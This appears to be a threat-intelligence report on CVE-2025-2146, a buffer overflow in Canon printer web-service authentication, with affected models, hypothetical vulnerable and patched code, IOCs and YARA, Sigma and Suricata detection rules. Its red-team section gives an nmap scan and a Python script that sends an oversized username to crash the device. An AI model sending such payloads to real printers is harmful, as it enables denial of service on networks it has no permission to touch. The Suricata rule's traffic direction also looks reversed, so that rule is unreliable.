CVE-2025-2146

Executive Summary

CVE-2025-2146 is a critical buffer overflow vulnerability in the WebService Authentication processing component of multiple Canon Small Office Multifunction Printers and Laser Printers. The flaw allows an unauthenticated attacker on the same network segment to trigger a denial of service (device unresponsive) or achieve remote code execution (RCE) with high privileges. With a CVSS score of 9.8, this vulnerability poses a severe risk to enterprise and small office environments where these devices are deployed. The affected firmware version is v05.07 and earlier across a wide range of models sold in Japan, the US, and Europe. No public proof-of-concept (PoC) or patch details are currently available, making proactive detection and mitigation critical.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable over the network without physical access.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data exposure possible.
• Integrity Impact: High (I:H) – Arbitrary code execution can modify device state.
• Availability Impact: High (A:H) – Device can be rendered unresponsive.

Threat Level: Critical. The combination of network accessibility, low complexity, and no authentication makes this vulnerability highly attractive for attackers seeking to compromise network peripherals.

Deep Dive & Mechanics

The vulnerability resides in the WebService Authentication processing module of the affected Canon printers. The module handles authentication requests over HTTP/HTTPS for web services. A buffer overflow occurs when the module processes specially crafted authentication data without proper bounds checking. This allows an attacker to overwrite adjacent memory regions, potentially hijacking the execution flow.

Technical Details:

• Root Cause: Lack of input validation on the length of authentication parameters (e.g., username, password, or token fields) before copying them into a fixed-size stack buffer.
• Exploitation Vector: An attacker sends a malicious HTTP request to the printer's web service endpoint (typically on port 80 or 443). The request contains an oversized authentication payload that overflows the buffer.
• Impact: Successful exploitation can lead to:
  • Denial of Service (DoS): Overwriting critical data structures causes the device to crash or become unresponsive.
  • Remote Code Execution (RCE): By carefully crafting the overflow payload, an attacker can overwrite the return address or function pointers to execute arbitrary code with system-level privileges.

Affected Models (Partial List):

• Japan: Satera MF656Cdw, MF654Cdw, MF551dw, MF457dw
• US: Color imageCLASS MF656Cdw, MF654Cdw, MF653Cdw, MF652Cdw, LBP633Cdw, LBP632Cdw, imageCLASS MF455dw, MF453dw, MF452dw, MF451dw, LBP237dw, LBP236dw, X MF1238 II, X MF1643i II, X MF1643iF II, X LBP1238 II
• Europe: i-SENSYS MF657Cdw, MF655Cdw, MF651Cdw, LBP633Cdw, LBP631Cdw, MF553dw, MF552dw, MF455dw, MF453dw, LBP236dw, LBP233dw, imageRUNNER 1643iF II, 1643i II, i-SENSYS X 1238iF II, X 1238i II, X 1238P II, X 1238Pr II

Vulnerable vs. Patched Code

Since no official patch or source code is available, the following is a hypothetical comparison based on typical buffer overflow patterns.

Vulnerable Code (C-like pseudocode):

void handle_authentication(char *input) {
    char buffer[256];
    // No bounds checking
    strcpy(buffer, input);
    // Process authentication...
}

Patched Code (Hypothetical):

void handle_authentication(char *input, size_t input_len) {
    char buffer[256];
    if (input_len >= sizeof(buffer)) {
        // Log error and reject
        return;
    }
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // Process authentication...
}

The patched version uses strncpy with explicit length checking to prevent buffer overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Canon printer with firmware v05.07 (e.g., imageCLASS MF455dw)
• Attacker: Kali Linux machine on the same network segment
• Tools: Python3, Metasploit (if module available), custom exploit script

Exploitation Steps:

1. Reconnaissance: Identify the printer's IP address using Nmap or Shodan.

   nmap -p 80,443 --script http-title <target_ip>
   

2. Craft Payload: Create a malicious HTTP request with an oversized authentication field.

   import socket
   
   target_ip = "192.168.1.100"
   port = 80
   
   # Overflow payload (example: 300 bytes of 'A' followed by shellcode)
   payload = b"POST /webservice HTTP/1.1\r\n"
   payload += b"Host: " + target_ip.encode() + b"\r\n"
   payload += b"Content-Type: application/x-www-form-urlencoded\r\n"
   payload += b"Content-Length: 400\r\n\r\n"
   payload += b"username=" + b"A" * 300 + b"&password=test"
   
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((target_ip, port))
   sock.send(payload)
   sock.close()
   

3. Trigger Overflow: Send the crafted request. If successful, the device may crash or execute arbitrary code.

Note: No public exploit code is available; this is a conceptual example.

Blue Team (Defensive)

Detection & Response:

• Network Monitoring: Look for HTTP requests with abnormally long authentication fields (e.g., >256 bytes).
• Log Analysis: Check printer logs for authentication failures or crashes.
• Honeypot: Deploy a decoy printer to capture exploitation attempts.

Mitigation Steps:

1. Isolate Printers: Place printers on a separate VLAN with strict firewall rules.
2. Disable Web Services: If not required, disable the web service interface on the printer.
3. Monitor Firmware Updates: Subscribe to Canon security advisories for patch releases.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /webservice with Content-Length > 512 bytes.
  • Repeated authentication failures from a single source IP.
  • Unusual outbound connections from the printer (e.g., to attacker C2 servers).

• Host IOCs:

  • Printer becomes unresponsive or reboots unexpectedly.
  • Changes in printer configuration (e.g., new admin credentials).
  • Presence of unexpected files or processes (if RCE achieved).

• Log IOCs:

  • Error logs indicating buffer overflow or memory corruption.
  • Authentication logs with excessively long usernames.

Detection Engineering

YARA Rule

rule CVE_2025_2146_Canon_Printer_Overflow {
    meta:
        description = "Detects exploit attempts for CVE-2025-2146 in network traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-2146"
    strings:
        $http_post = "POST /webservice" ascii nocase
        $long_username = /username=[A-Za-z0-9%]{257,}/ ascii
    condition:
        $http_post and $long_username
}

Sigma Rule

title: Canon Printer WebService Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with abnormally long authentication fields targeting Canon printers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/webservice'
        cs-username|length: >= 257
    condition: selection
falsepositives:
    - Legitimate long usernames (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-2146 Canon Printer WebService Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/webservice"; http_uri;
    pcre:"/username=[A-Za-z0-9%]{257,}/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-2146;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable WebService Authentication: If not required, disable the web service feature on the printer via the admin console.
2. Network Segmentation: Place all affected printers on a dedicated VLAN with strict access controls.
3. Firewall Rules: Block inbound HTTP/HTTPS traffic to printers from untrusted networks.

Long-Term Fix:

• Firmware Update: Monitor Canon's security page for a patched firmware version. Apply as soon as available.
• Vendor Contact: Reach out to Canon support for interim mitigations or patch timelines.

Workarounds:

• Use IP whitelisting to restrict access to the printer's web interface.
• Enable HTTPS and use strong certificates to reduce man-in-the-middle risks.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated on 2025-04-10